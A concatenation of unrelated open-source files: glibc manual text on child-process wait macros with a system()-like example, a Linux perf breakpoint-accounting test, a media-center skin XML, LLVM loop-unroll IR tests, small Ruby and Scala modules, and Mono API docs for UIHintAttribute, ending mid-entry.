@safety{@prelim{}@mtsafe{}@assafe{}@acsafe{}}
This macro returns a nonzero value if the child process terminated
because it received a signal that was not handled.
@xref{Signal Handling}.
@end deftypefn
@deftypefn Macro int WTERMSIG (int @var{status})
@standards{POSIX.1, sys/wait.h}
@safety{@prelim{}@mtsafe{}@assafe{}@acsafe{}}
If @code{WIFSIGNALED} is true of @var{status}, this macro returns the
signal number of the signal that terminated the child process.
@end deftypefn
@deftypefn Macro int WCOREDUMP (int @var{status})
@standards{BSD, sys/wait.h}
@safety{@prelim{}@mtsafe{}@assafe{}@acsafe{}}
This macro returns a nonzero value if the child process terminated
and produced a core dump.
@end deftypefn
@deftypefn Macro int WIFSTOPPED (int @var{status})
@standards{POSIX.1, sys/wait.h}
@safety{@prelim{}@mtsafe{}@assafe{}@acsafe{}}
This macro returns a nonzero value if the child process is stopped.
@end deftypefn
@deftypefn Macro int WSTOPSIG (int @var{status})
@standards{POSIX.1, sys/wait.h}
@safety{@prelim{}@mtsafe{}@assafe{}@acsafe{}}
If @code{WIFSTOPPED} is true of @var{status}, this macro returns the
signal number of the signal that caused the child process to stop.
@end deftypefn
@node BSD Wait Functions
@section BSD Process Wait Function
@Theglibc{} also provides the @code{wait3} function for compatibility
with BSD. This function is declared in @file{sys/wait.h}. It is the
predecessor to @code{wait4}, which is more flexible. @code{wait3} is
now obsolete.
@pindex sys/wait.h
@deftypefun pid_t wait3 (int *@var{status-ptr}, int @var{options}, struct rusage *@var{usage})
@standards{BSD, sys/wait.h}
@safety{@prelim{}@mtsafe{}@assafe{}@acsafe{}}
If @var{usage} is a null pointer, @code{wait3} is equivalent to
@code{waitpid (-1, @var{status-ptr}, @var{options})}.
If @var{usage} is not null, @code{wait3} stores usage figures for the
child process in @code{*@var{rusage}} (but only if the child has
terminated, not if it has stopped). @xref{Resource Usage}.
@end deftypefun
@node Process Creation Example
@section Process Creation Example
Here is an example program showing how you might write a function
similar to the built-in @code{system}. It executes its @var{command}
argument using the equivalent of @samp{sh -c @var{command}}.
@smallexample
#include <stddef.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
/* @r{Execute the command using this shell program.} */
#define SHELL "/bin/sh"
@group
int
my_system (const char *command)
@{
int status;
pid_t pid;
@end group
pid = fork ();
if (pid == 0)
@{
/* @r{This is the child process. Execute the shell command.} */
execl (SHELL, SHELL, "-c", command, NULL);
_exit (EXIT_FAILURE);
@}
else if (pid < 0)
/* @r{The fork failed. Report failure.} */
status = -1;
else
/* @r{This is the parent process. Wait for the child to complete.} */
if (waitpid (pid, &status, 0) != pid)
status = -1;
return status;
@}
@end smallexample
@comment Yes, this example has been tested.
There are a couple of things you should pay attention to in this
example.
Remember that the first @code{argv} argument supplied to the program
represents the name of the program being executed. That is why, in the
call to @code{execl}, @code{SHELL} is supplied once to name the program
to execute and a second time to supply a value for @code{argv[0]}.
The @code{execl} call in the child process doesn't return if it is
successful. If it fails, you must do something to make the child
process terminate. Just returning a bad status code with @code{return}
would leave two processes running the original program. Instead, the
right behavior is for the child process to report failure to its parent
process.
Call @code{_exit} to accomplish this. The reason for using @code{_exit}
instead of @code{exit} is to avoid flushing fully buffered streams such
as @code{stdout}. The buffers of these streams probably contain data
that was copied from the parent process by the @code{fork}, data that
will be output eventually by the parent process. Calling @code{exit} in
the child would output the data twice. @xref{Termination Internals}.
| {
"pile_set_name": "Github"
} |
/*
* Powerpc needs __SANE_USERSPACE_TYPES__ before <linux/types.h> to select
* 'int-ll64.h' and avoid compile warnings when printing __u64 with %llu.
*/
#define __SANE_USERSPACE_TYPES__
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <time.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/mman.h>
#include <linux/compiler.h>
#include <linux/hw_breakpoint.h>
#include <sys/ioctl.h>
#include "tests.h"
#include "debug.h"
#include "perf.h"
#include "cloexec.h"
volatile long the_var;
static noinline int test_function(void)
{
return 0;
}
static int __event(bool is_x, void *addr, struct perf_event_attr *attr)
{
int fd;
memset(attr, 0, sizeof(struct perf_event_attr));
attr->type = PERF_TYPE_BREAKPOINT;
attr->size = sizeof(struct perf_event_attr);
attr->config = 0;
attr->bp_type = is_x ? HW_BREAKPOINT_X : HW_BREAKPOINT_W;
attr->bp_addr = (unsigned long) addr;
attr->bp_len = sizeof(long);
attr->sample_period = 1;
attr->sample_type = PERF_SAMPLE_IP;
attr->exclude_kernel = 1;
attr->exclude_hv = 1;
fd = sys_perf_event_open(attr, -1, 0, -1,
perf_event_open_cloexec_flag());
if (fd < 0) {
pr_debug("failed opening event %llx\n", attr->config);
return TEST_FAIL;
}
return fd;
}
static int wp_event(void *addr, struct perf_event_attr *attr)
{
return __event(false, addr, attr);
}
static int bp_event(void *addr, struct perf_event_attr *attr)
{
return __event(true, addr, attr);
}
static int bp_accounting(int wp_cnt, int share)
{
struct perf_event_attr attr, attr_mod, attr_new;
int i, fd[wp_cnt], fd_wp, ret;
for (i = 0; i < wp_cnt; i++) {
fd[i] = wp_event((void *)&the_var, &attr);
TEST_ASSERT_VAL("failed to create wp\n", fd[i] != -1);
pr_debug("wp %d created\n", i);
}
attr_mod = attr;
attr_mod.bp_type = HW_BREAKPOINT_X;
attr_mod.bp_addr = (unsigned long) test_function;
ret = ioctl(fd[0], PERF_EVENT_IOC_MODIFY_ATTRIBUTES, &attr_mod);
TEST_ASSERT_VAL("failed to modify wp\n", ret == 0);
pr_debug("wp 0 modified to bp\n");
if (!share) {
fd_wp = wp_event((void *)&the_var, &attr_new);
TEST_ASSERT_VAL("failed to create max wp\n", fd_wp != -1);
pr_debug("wp max created\n");
}
for (i = 0; i < wp_cnt; i++)
close(fd[i]);
return 0;
}
static int detect_cnt(bool is_x)
{
struct perf_event_attr attr;
void *addr = is_x ? (void *)test_function : (void *)&the_var;
int fd[100], cnt = 0, i;
while (1) {
if (cnt == 100) {
pr_debug("way too many debug registers, fix the test\n");
return 0;
}
fd[cnt] = __event(is_x, addr, &attr);
if (fd[cnt] < 0)
break;
cnt++;
}
for (i = 0; i < cnt; i++)
close(fd[i]);
return cnt;
}
static int detect_ioctl(void)
{
struct perf_event_attr attr;
int fd, ret = 1;
fd = wp_event((void *) &the_var, &attr);
if (fd > 0) {
ret = ioctl(fd, PERF_EVENT_IOC_MODIFY_ATTRIBUTES, &attr);
close(fd);
}
return ret ? 0 : 1;
}
static int detect_share(int wp_cnt, int bp_cnt)
{
struct perf_event_attr attr;
int i, fd[wp_cnt + bp_cnt], ret;
for (i = 0; i < wp_cnt; i++) {
fd[i] = wp_event((void *)&the_var, &attr);
TEST_ASSERT_VAL("failed to create wp\n", fd[i] != -1);
}
for (; i < (bp_cnt + wp_cnt); i++) {
fd[i] = bp_event((void *)test_function, &attr);
if (fd[i] == -1)
break;
}
ret = i != (bp_cnt + wp_cnt);
while (i--)
close(fd[i]);
return ret;
}
/*
* This test does following:
* - detects the number of watch/break-points,
* skip test if any is missing
* - detects PERF_EVENT_IOC_MODIFY_ATTRIBUTES ioctl,
* skip test if it's missing
* - detects if watchpoints and breakpoints share
* same slots
* - create all possible watchpoints on cpu 0
* - change one of it to breakpoint
* - in case wp and bp do not share slots,
* we create another watchpoint to ensure
* the slot accounting is correct
*/
int test__bp_accounting(struct test *test __maybe_unused, int subtest __maybe_unused)
{
int has_ioctl = detect_ioctl();
int wp_cnt = detect_cnt(false);
int bp_cnt = detect_cnt(true);
int share = detect_share(wp_cnt, bp_cnt);
pr_debug("watchpoints count %d, breakpoints count %d, has_ioctl %d, share %d\n",
wp_cnt, bp_cnt, has_ioctl, share);
if (!wp_cnt || !bp_cnt || !has_ioctl)
return TEST_SKIP;
return bp_accounting(wp_cnt, share);
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<!--version="1.0" encoding="utf-8" standalone="yes"-->
<window>
<id>49848</id>
<defaultcontrol>10</defaultcontrol>
<allowoverlay>yes</allowoverlay>
<controls>
<control>
<description>BG</description>
<type>image</type>
<id>1</id>
<texture>#backgroundcolour</texture>
<width>1920</width>
<height>1080</height>
</control>
<control>
<description></description>
<type>image</type>
<id>0</id>
<posX>0</posX>
<posY>0</posY>
<width>1920</width>
<height>1080</height>
<texture>#overlaycolour</texture>
</control>
<control>
<description>Cover Art</description>
<type>image</type>
<id>0</id>
<posX>40</posX>
<posY>190</posY>
<width>1845</width>
<height>624</height>
<texture>D_over1.png</texture>
</control>
<control>
<description>Cover Art</description>
<type>image</type>
<id>0</id>
<posX>40</posX>
<posY>821</posY>
<width>1845</width>
<height>209</height>
<texture>Inf_gfx.png</texture>
</control>
<import>custom\Allscreens\user_dialog.xml</import>
<control>
<type>label</type>
<id>0</id>
<posX>#Xposition</posX>
<posY>#Yposition</posY>
<height>43</height>
<width>1000</width>
<font>fontBold2</font>
<label>#itemcount items</label>
<align>right</align>
<textcolor>ffffffff</textcolor>
</control>
<control>
<type>actiongroup</type>
<description>action menu</description>
<defaultcontrol>2</defaultcontrol>
<onexit>0</onexit>
<buttonX>0</buttonX>
<buttonY>0</buttonY>
<buttonwidth>100</buttonwidth>
<buttonheight>1080</buttonheight>
<textureFocus></textureFocus>
<textureNoFocus></textureNoFocus>
<width>800</width>
<height>800</height>
<dimColor>00ffffff</dimColor>
<control>
<type>image</type>
<posX>0</posX>
<posY>0</posY>
<width>1920</width>
<height>1080</height>
<texture>black.png</texture>
<colordiffuse>99000000</colordiffuse>
<visible>!Control.HasFocus(50)</visible>
</control>
<control>
<type>image</type>
<id>0</id>
<posX>420</posX>
<posY>150</posY>
<width>975</width>
<height>836</height>
<texture>dialogglowbig.png</texture>
<visible>!Control.HasFocus(50)</visible>
</control>
<control>
<description>group element</description>
<type>group</type>
<layout>StackLayout(0, Vertical, true)</layout>
<posX>500</posX>
<posY>250</posY>
<control>
<type>button</type>
<description>Program type button</description>
<id>2</id>
<onleft>2</onleft>
<onright>10</onright>
<onup>17</onup>
<ondown>12</ondown>
<label>Type:</label>
<textureFocus>btn_list_blue2.png</textureFocus>
<textureNoFocus></textureNoFocus>
<textXOff>15</textXOff>
<textYOff>3</textYOff>
<width>820</width>
<height>50</height>
</control>
<control>
<type>checkbutton</type>
<description>group by schedule</description>
<id>12</id>
<onleft>2</onleft>
<onright>10</onright>
<onup>2</onup>
<ondown>9</ondown>
<label>group by schedule</label>
<textureFocus>btn_list_blue2.png</textureFocus>
<textureNoFocus></textureNoFocus>
<textYOff>3</textYOff>
<width>820</width>
<height>50</height>
</control>
<control>
<type>sortbutton</type>
<description>Program type button</description>
<id>9</id>
<onleft>2</onleft>
<onright>10</onright>
<onup>12</onup>
<ondown>11</ondown>
<label>sort</label>
<textureFocus>btn_list_blue2.png</textureFocus>
<textureNoFocus></textureNoFocus>
<textYOff>3</textYOff>
<width>820</width>
<height>50</height>
</control>
<control>
<type>button</type>
<description>new</description>
<id>11</id>
<onleft>2</onleft>
<onright>10</onright>
<onup>9</onup>
<ondown>99</ondown>
<label>617</label>
<textureFocus>btn_list_blue2.png</textureFocus>
<textureNoFocus></textureNoFocus>
<textXOff>15</textXOff>
<textYOff>3</textYOff>
<width>820</width>
<height>50</height>
</control>
</control>
</control>
<control>
<type>group</type>
<description>group element</description>
<id>0</id>
<posX>682</posX>
<posY>174</posY>
<width>1167</width>
<height>874</height>
<mpe>
<layout>Grid</layout>
<spring>no</spring>
<spacing>0</spacing>
<padding>
<top>0</top>
<right>0</right>
<bottom>0</bottom>
<left>0</left>
</padding>
</mpe>
<control>
<description>upcoming episodes listcontrol</description>
<type>listcontrol</type>
<id>10</id>
<width>1417</width>
<posX>56</posX>
<posY>225</posY>
<width>1388</width>
<height>620</height>
<font>font12</font>
<textalign>left</textalign>
<font2>font12</font2>
<textYOff>3</textYOff>
<textXOff>-15</textXOff>
<textXOff2>1350</textXOff2>
<textYOff2>3</textYOff2>
<scrollbarXOff>600</scrollbarXOff>
<selectedColor2>ffeaeaea</selectedColor2>
<selectedColor>ffeaeaea</selectedColor>
<textureHeight>49</textureHeight>
<textureFocus>btn_list.png</textureFocus>
<textureNoFocus></textureNoFocus>
<PinIconXOff>1340</PinIconXOff>
<PinIconYOff>10</PinIconYOff>
<PinIconWidth>50</PinIconWidth>
<PinIconHeight>50</PinIconHeight>
<IconXOff>-1800</IconXOff>
</control>
<control>
<description>Cover Art</description>
<type>image</type>
<id>0</id>
<posX>1416</posX>
<posY>182</posY>
<width>28</width>
<height>619</height>
<texture>D_side.png</texture>
<visible>!facadeview.filmstrip+!facadeview.coverflow</visible>
</control>
<control>
<id>0</id>
<type>image</type>
<posX>56</posX>
<posY>828</posY>
<height>190</height>
<width>190</width>
<texture mask="MAmask.png">blue.png</texture>
</control>
<control>
<id>0</id>
<type>image</type>
<posX>56</posX>
<posY>828</posY>
<height>190</height>
<width>190</width>
<texture mask="MAmask.png">#TV.Upcoming.thumb</texture>
</control>
<control>
<id>0</id>
<type>image</type>
<posX>1444</posX>
<posY>197</posY>
<width>422</width>
<height>605</height>
<texture mask="CAmask.png">blue.png</texture>
</control>
<control>
<type>image</type>
<posX>1444</posX>
<posY>350</posY>
<width>422</width>
<height>275</height>
<keepaspectratio>true</keepaspectratio>
<align>center</align>
<valign>middle</valign>
<fixedheight>true</fixedheight>
<texture mask="">#selectedthumb</texture>
</control>
<control>
<description>Program Title</description>
<id>14</id>
<type>fadelabel</type>
<posX>260</posX>
<posY>855</posY>
<width>1590</width>
<font>font13</font>
<textcolor>eaeaea</textcolor>
<label>#TV.Upcoming.Title | #TV.Upcoming.Channel | #TV.Upcoming.Time</label>
</control>
<control>
<description>Current program Genre</description>
<type>fadelabel</type>
<id>13</id>
<posX>3828</posX>
<posY>849</posY>
<width>1020</width>
<label>#TV.Upcoming.Genre</label>
<font>font10</font>
<textcolor>ff6FAFE1</textcolor>
<visible>!string.equals(#TV.Upcoming.Genre,-)</visible>
</control>
<control>
<description>Description1</description>
<type>textboxscrollup</type>
<id>15</id>
<posX>260</posX>
<posY>905</posY>
<width>1590</width>
<height>85</height>
<label>#TV.Upcoming.Description</label>
<font>font13</font>
<textcolor>99ffffff</textcolor>
</control>
</control>
</controls>
</window> | {
"pile_set_name": "Github"
} |
; Check that we don't crash on corner cases.
; RUN: opt < %s -S -loop-unroll -unroll-max-iteration-count-to-analyze=1000 -unroll-threshold=1 -unroll-max-percent-threshold-boost=200 -o /dev/null
; RUN: opt < %s -S -passes='require<opt-remark-emit>,loop(unroll-full)' -unroll-max-iteration-count-to-analyze=1000 -unroll-threshold=1 -unroll-max-percent-threshold-boost=200 -o /dev/null
target datalayout = "e-m:o-i64:64-f80:128-n8:16:32:64-S128"
@known_constant = internal unnamed_addr constant [10 x i32] [i32 1, i32 1, i32 1, i32 1, i32 1, i32 1, i32 1, i32 1, i32 1, i32 1], align 16
define void @foo1() {
entry:
br label %for.body
for.body:
%phi = phi i64 [ 0, %entry ], [ %inc, %for.body ]
%idx = zext i32 undef to i64
%add.ptr = getelementptr inbounds i64, i64* null, i64 %idx
%inc = add nuw nsw i64 %phi, 1
%cmp = icmp ult i64 %inc, 999
br i1 %cmp, label %for.body, label %for.exit
for.exit:
ret void
}
define void @foo2() {
entry:
br label %for.body
for.body:
%phi = phi i64 [ 0, %entry ], [ %inc, %for.body ]
%x = getelementptr i32, <4 x i32*> undef, <4 x i32> <i32 1, i32 1, i32 1, i32 1>
%inc = add nuw nsw i64 %phi, 1
%cmp = icmp ult i64 %inc, 999
br i1 %cmp, label %for.body, label %for.exit
for.exit:
ret void
}
define void @cmp_undef() {
entry:
br label %for.body
for.body: ; preds = %for.inc, %entry
%iv.0 = phi i64 [ 0, %entry ], [ %iv.1, %for.inc ]
%arrayidx1 = getelementptr inbounds [10 x i32], [10 x i32]* @known_constant, i64 0, i64 %iv.0
%x1 = load i32, i32* %arrayidx1, align 4
%cmp = icmp eq i32 %x1, undef
br i1 %cmp, label %if.then, label %for.inc
if.then: ; preds = %for.body
br label %for.inc
for.inc: ; preds = %for.body, %if.then
%iv.1 = add nuw nsw i64 %iv.0, 1
%exitcond = icmp eq i64 %iv.1, 10
br i1 %exitcond, label %for.end, label %for.body
for.end: ; preds = %for.inc
ret void
}
define void @switch() {
entry:
br label %for.body
for.body:
%iv.0 = phi i64 [ 0, %entry ], [ %iv.1, %for.inc ]
%arrayidx1 = getelementptr inbounds [10 x i32], [10 x i32]* @known_constant, i64 0, i64 %iv.0
%x1 = load i32, i32* %arrayidx1, align 4
switch i32 %x1, label %l1 [
]
l1:
%x2 = add i32 %x1, 2
br label %for.inc
for.inc:
%iv.1 = add nuw nsw i64 %iv.0, 1
%exitcond = icmp eq i64 %iv.1, 10
br i1 %exitcond, label %for.end, label %for.body
for.end:
ret void
}
define <4 x i32> @vec_load() {
entry:
br label %for.body
for.body:
%phi = phi i64 [ 0, %entry ], [ %inc, %for.body ]
%vec_phi = phi <4 x i32> [ <i32 0, i32 0, i32 0, i32 0>, %entry ], [ %r, %for.body ]
%arrayidx = getelementptr inbounds [10 x i32], [10 x i32]* @known_constant, i64 0, i64 %phi
%bc = bitcast i32* %arrayidx to <4 x i32>*
%x = load <4 x i32>, < 4 x i32>* %bc, align 4
%r = add <4 x i32> %x, %vec_phi
%inc = add nuw nsw i64 %phi, 1
%cmp = icmp ult i64 %inc, 999
br i1 %cmp, label %for.body, label %for.exit
for.exit:
ret <4 x i32> %r
}
define void @ptrtoint_cast() optsize {
entry:
br label %for.body
for.body:
br i1 true, label %for.inc, label %if.then
if.then:
%arraydecay = getelementptr inbounds [1 x i32], [1 x i32]* null, i64 0, i64 0
%x = ptrtoint i32* %arraydecay to i64
br label %for.inc
for.inc:
br i1 false, label %for.body, label %for.cond.cleanup
for.cond.cleanup:
ret void
}
define void @ptrtoint_cast2() {
entry:
br i1 false, label %for.body.lr.ph, label %exit
for.body.lr.ph:
br label %for.body
for.body:
%iv = phi i32 [ 0, %for.body.lr.ph ], [ %inc, %for.body ]
%offset = getelementptr inbounds float, float* null, i32 3
%bc = bitcast float* %offset to i64*
%inc = add nuw nsw i32 %iv, 1
br i1 false, label %for.body, label %exit
exit:
ret void
}
@i = external global i32, align 4
define void @folded_not_to_constantint() {
entry:
br label %for.body
for.body:
%iv = phi i32 [ 0, %entry ], [ %inc, %for.inc ]
%m = phi i32* [ @i, %entry ], [ %m, %for.inc ]
br i1 undef, label %if.else, label %if.then
if.then:
unreachable
if.else:
%cmp = icmp ult i32* %m, null
br i1 %cmp, label %cond.false, label %for.inc
cond.false:
unreachable
for.inc:
%inc = add nuw nsw i32 %iv, 1
%cmp2 = icmp ult i32 %inc, 10
br i1 %cmp2, label %for.body, label %for.end
for.end:
ret void
}
define void @index_too_large() {
entry:
br label %for.body
for.body:
%iv = phi i64 [ -73631599, %entry ], [ %iv.next, %for.inc ]
br i1 undef, label %for.body2, label %for.inc
for.body2:
%idx = getelementptr inbounds [10 x i32], [10 x i32]* @known_constant, i64 0, i64 %iv
%x = load i32, i32* %idx, align 1
br label %for.inc
for.inc:
%iv.next = add nsw i64 %iv, -1
br i1 undef, label %for.body, label %for.end
for.end:
ret void
}
define void @cmp_type_mismatch() {
entry:
br label %for.header
for.header:
br label %for.body
for.body:
%d = phi i32* [ null, %for.header ]
%cmp = icmp eq i32* %d, null
br i1 undef, label %for.end, label %for.header
for.end:
ret void
}
define void @load_type_mismatch() {
entry:
br label %for.body
for.body:
%iv.0 = phi i64 [ 0, %entry ], [ %iv.1, %for.body ]
%arrayidx1 = getelementptr inbounds [10 x i32], [10 x i32]* @known_constant, i64 0, i64 %iv.0
%bc = bitcast i32* %arrayidx1 to i64*
%x1 = load i64, i64* %bc, align 4
%x2 = add i64 10, %x1
%iv.1 = add nuw nsw i64 %iv.0, 1
%exitcond = icmp eq i64 %iv.1, 10
br i1 %exitcond, label %for.end, label %for.body
for.end:
ret void
}
| {
"pile_set_name": "Github"
} |
# RUN: llvm-mc %s -arch=mips64 -mcpu=mips64r2 -mattr=+msa -show-encoding | FileCheck %s
copy_s.d $19, $w31[0] # CHECK: copy_s.d $19, $w31[0] # encoding: [0x78,0xb8,0xfc,0xd9]
| {
"pile_set_name": "Github"
} |
# frozen_string_literal: true
class Shoes
module Swt
module Common
module Remove
def remove
app.remove_paint_listener(painter)
remove_click_listeners
real&.dispose unless real&.disposed?
dispose_held_resources
dispose
end
def dispose_held_resources
color_factory&.dispose
end
# Classes should override to dispose of any Swt resources they create
def dispose
end
private
def color_factory
@color_factory ||= nil
end
def painter
@painter ||= nil
end
def real
@real ||= nil
end
def remove_click_listeners
app.click_listener.remove_listeners_for(dsl)
end
end
end
end
end
| {
"pile_set_name": "Github"
} |
package org.bitcoins.testkit.core.gen
import org.bitcoins.core.protocol._
import org.scalacheck.Gen
/**
* Created by chris on 6/12/17.
*/
sealed trait AddressGenerator {
def p2pkhAddress: Gen[P2PKHAddress] =
for {
hash <- CryptoGenerators.sha256Hash160Digest
network <- ChainParamsGenerator.networkParams
addr = P2PKHAddress(hash, network)
} yield addr
def p2shAddress: Gen[P2SHAddress] =
for {
hash <- CryptoGenerators.sha256Hash160Digest
network <- ChainParamsGenerator.networkParams
addr = P2SHAddress(hash, network)
} yield addr
def bech32Address: Gen[Bech32Address] =
for {
(witSPK, _) <- ScriptGenerators.assignedWitnessScriptPubKey
network <- ChainParamsGenerator.networkParams
addr = Bech32Address(witSPK, network)
} yield addr
def bitcoinAddress: Gen[BitcoinAddress] =
Gen.oneOf(p2pkhAddress, p2shAddress, bech32Address)
def address: Gen[Address] =
Gen.oneOf(p2pkhAddress, p2shAddress, bech32Address)
}
object AddressGenerator extends AddressGenerator
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<Type Name="UIHintAttribute" FullName="System.ComponentModel.DataAnnotations.UIHintAttribute">
<TypeSignature Language="C#" Value="public class UIHintAttribute : Attribute" />
<TypeSignature Language="ILAsm" Value=".class public auto ansi beforefieldinit UIHintAttribute extends System.Attribute" />
<AssemblyInfo>
<AssemblyName>System.ComponentModel.DataAnnotations</AssemblyName>
<AssemblyVersion>4.0.0.0</AssemblyVersion>
</AssemblyInfo>
<Base>
<BaseTypeName>System.Attribute</BaseTypeName>
</Base>
<Interfaces />
<Attributes>
<Attribute>
<AttributeName>System.AttributeUsage(System.AttributeTargets.Property | System.AttributeTargets.Field | System.AttributeTargets.All, AllowMultiple=true)</AttributeName>
</Attribute>
</Attributes>
<Docs>
<remarks>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>A Visual Studio project with source code is available to accompany this topic: <see cref="http://go.microsoft.com/fwlink/?linkid=158686">Download</see>. </para>
<para>MVC uses the <see cref="T:System.ComponentModel.DataAnnotations.UIHintAttribute" /> class to associate a model with a data field. Dynamic Data uses the <see cref="T:System.ComponentModel.DataAnnotations.UIHintAttribute" /> class to associate a user control with a data field. Dynamic Data uses the <see cref="P:System.ComponentModel.DataAnnotations.UIHintAttribute.UIHint" /> property to determine which user control to use in order to display a data field.</para>
<para>For more information about how to use attributes, see <format type="text/html"><a href="30386922-1e00-4602-9ebf-526b271a8b87">Extending Metadata Using Attributes</a></format>.</para>
</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>Specifies the template or user control that Dynamic Data uses to display a data field. </para>
</summary>
</Docs>
<Members>
<Member MemberName=".ctor">
<MemberSignature Language="C#" Value="public UIHintAttribute (string uiHint);" />
<MemberSignature Language="ILAsm" Value=".method public hidebysig specialname rtspecialname instance void .ctor(string uiHint) cil managed" />
<MemberType>Constructor</MemberType>
<AssemblyInfo>
<AssemblyVersion>4.0.0.0</AssemblyVersion>
</AssemblyInfo>
<Parameters>
<Parameter Name="uiHint" Type="System.String" />
</Parameters>
<Docs>
<remarks>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>A <see cref="T:System.ComponentModel.DataAnnotations.UIHintAttribute" /> object that is created with this constructor is initialized using the specified <paramref name="uiHint" />, which specifies the user control (field template) to use in order to display the data field. </para>
<para>ASP.NET Dynamic Data provides field templates, page templates, and data controls to render data fields in a data model. You can modify these templates and controls to customize them, or you can create a custom user control. If you create a custom user control, you use the <see cref="P:System.ComponentModel.DataAnnotations.UIHintAttribute.UIHint" /> property to specify the user control to use to display a data field. </para>
</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>Initializes a new instance of the <see cref="T:System.ComponentModel.DataAnnotations.UIHintAttribute" /> class by using a specified user control. </para>
</summary>
<param name="uiHint">
<attribution license="cc4" from="Microsoft" modified="false" />The user control to use to display the data field. </param>
</Docs>
</Member>
<Member MemberName=".ctor">
<MemberSignature Language="C#" Value="public UIHintAttribute (string uiHint, string presentationLayer);" />
<MemberSignature Language="ILAsm" Value=".method public hidebysig specialname rtspecialname instance void .ctor(string uiHint, string presentationLayer) cil managed" />
<MemberType>Constructor</MemberType>
<AssemblyInfo>
<AssemblyVersion>4.0.0.0</AssemblyVersion>
</AssemblyInfo>
<Parameters>
<Parameter Name="uiHint" Type="System.String" />
<Parameter Name="presentationLayer" Type="System.String" />
</Parameters>
<Docs>
<remarks>To be added.</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>Initializes a new instance of the <see cref="T:System.ComponentModel.DataAnnotations.UIHintAttribute" /> class using the specified user control and specified presentation layer. </para>
</summary>
<param name="uiHint">
<attribution license="cc4" from="Microsoft" modified="false" />The user control (field template) to use to display the data field.</param>
<param name="presentationLayer">
<attribution license="cc4" from="Microsoft" modified="false" />The presentation layer that uses the class. Can be set to "HTML", "Silverlight", "WPF", or "WinForms".</param>
</Docs>
</Member>
<Member MemberName=".ctor">
<MemberSignature Language="C#" Value="public UIHintAttribute (string uiHint, string presentationLayer, object[] controlParameters);" />
<MemberSignature Language="ILAsm" Value=".method public hidebysig specialname rtspecialname instance void .ctor(string uiHint, string presentationLayer, object[] controlParameters) cil managed" />
<MemberType>Constructor</MemberType>
<AssemblyInfo>
<AssemblyVersion>4.0.0.0</AssemblyVersion>
</AssemblyInfo>
<Parameters>
<Parameter Name="uiHint" Type="System.String" />
<Parameter Name="presentationLayer" Type="System.String" />
<Parameter Name="controlParameters" Type="System.Object[]">
<Attributes>
<Attribute>
<AttributeName>System.ParamArray</AttributeName>
</Attribute>
</Attributes>
</Parameter>
</Parameters>
<Docs>
<remarks>To be added.</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>Initializes a new instance of the <see cref="T:System.ComponentModel.DataAnnotations.UIHintAttribute" /> class by using the specified user control, presentation layer, and control parameters.</para>
</summary>
<param name="uiHint">
<attribution license="cc4" from="Microsoft" modified="false" />The user control (field template) to use to display the data field.</param>
<param name="presentationLayer">
<attribution license="cc4" from="Microsoft" modified="false" />The presentation layer that uses the class. Can be set to "HTML", "Silverlight", "WPF", or "WinForms".</param>
<param name="controlParameters">
<attribution license="cc4" from="Microsoft" modified="false" />The object to use to retrieve values from any data sources. </param>
</Docs>
</Member>
<Member MemberName="ControlParameters">
<MemberSignature Language="C#" Value="public System.Collections.Generic.IDictionary<string,object> ControlParameters { get; }" />
<MemberSignature Language="ILAsm" Value=".property instance class System.Collections.Generic.IDictionary`2<string, object> ControlParameters" />
<MemberType>Property</MemberType>
<AssemblyInfo>
<AssemblyVersion>4.0.0.0</AssemblyVersion>
</AssemblyInfo>
<ReturnValue>
<ReturnType>System.Collections.Generic.IDictionary<System.String,System.Object></ReturnType>
</ReturnValue>
<Docs>
<value>To be added.</value>
<remarks>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>The <see cref="P:System.ComponentModel.DataAnnotations.UIHintAttribute.ControlParameters" /> property lets you retrieve data from a data model, tracks updates to the data model, and notifies the model of any changes.</para>
</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>Gets or sets the <see cref="T:System.Web.DynamicData.DynamicControlParameter" /> object to use to retrieve values from any data source.</para>
</summary>
</Docs>
</Member>
<Member MemberName="Equals">
<MemberSignature Language="C#" Value="public override bool Equals (object obj);" />
<MemberSignature Language="ILAsm" Value=".method public hidebysig virtual instance bool Equals(object obj) cil managed" />
<MemberType>Method</MemberType>
<AssemblyInfo>
<AssemblyVersion>4.0.0.0</AssemblyVersion>
</AssemblyInfo>
<ReturnValue>
<ReturnType>System.Boolean</ReturnType>
</ReturnValue>
<Parameters>
<Parameter Name="obj" Type="System.Object" />
</Parameters>
<Docs>
<remarks>To be added.</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>Gets a value that indicates whether this instance is equal to the specified object.</para>
</summary>
<returns>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>true if the specified object is equal to this instance; otherwise, false.</para>
</returns>
<param name="obj">
<attribution license="cc4" from="Microsoft" modified="false" />The object to compare with this instance, or a null reference.</param>
</Docs>
</Member>
<Member MemberName="GetHashCode">
<MemberSignature Language="C#" Value="public override int GetHashCode ();" />
<MemberSignature Language="ILAsm" Value=".method public hidebysig virtual instance int32 GetHashCode() cil managed" />
<MemberType>Method</MemberType>
<AssemblyInfo>
<AssemblyVersion>4.0.0.0</AssemblyVersion>
</AssemblyInfo>
<ReturnValue>
<ReturnType>System.Int32</ReturnType>
</ReturnValue>
<Parameters />
<Docs>
<remarks>To be added.</remarks>
<summary>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>Gets the hash code for the current instance of the attribute.</para>
</summary>
<returns>
<attribution license="cc4" from="Microsoft" modified="false" />
<para>The attribute instance hash code.</para>
</returns>
</Docs>
</Member>
<Member MemberName="PresentationLayer">
<MemberSignature Language="C#" Value="public string PresentationLayer { get; }" />
<MemberSignature Language="ILAsm" Value=".property instance string PresentationLayer" />
<MemberType>Property</MemberType>
<AssemblyInfo>
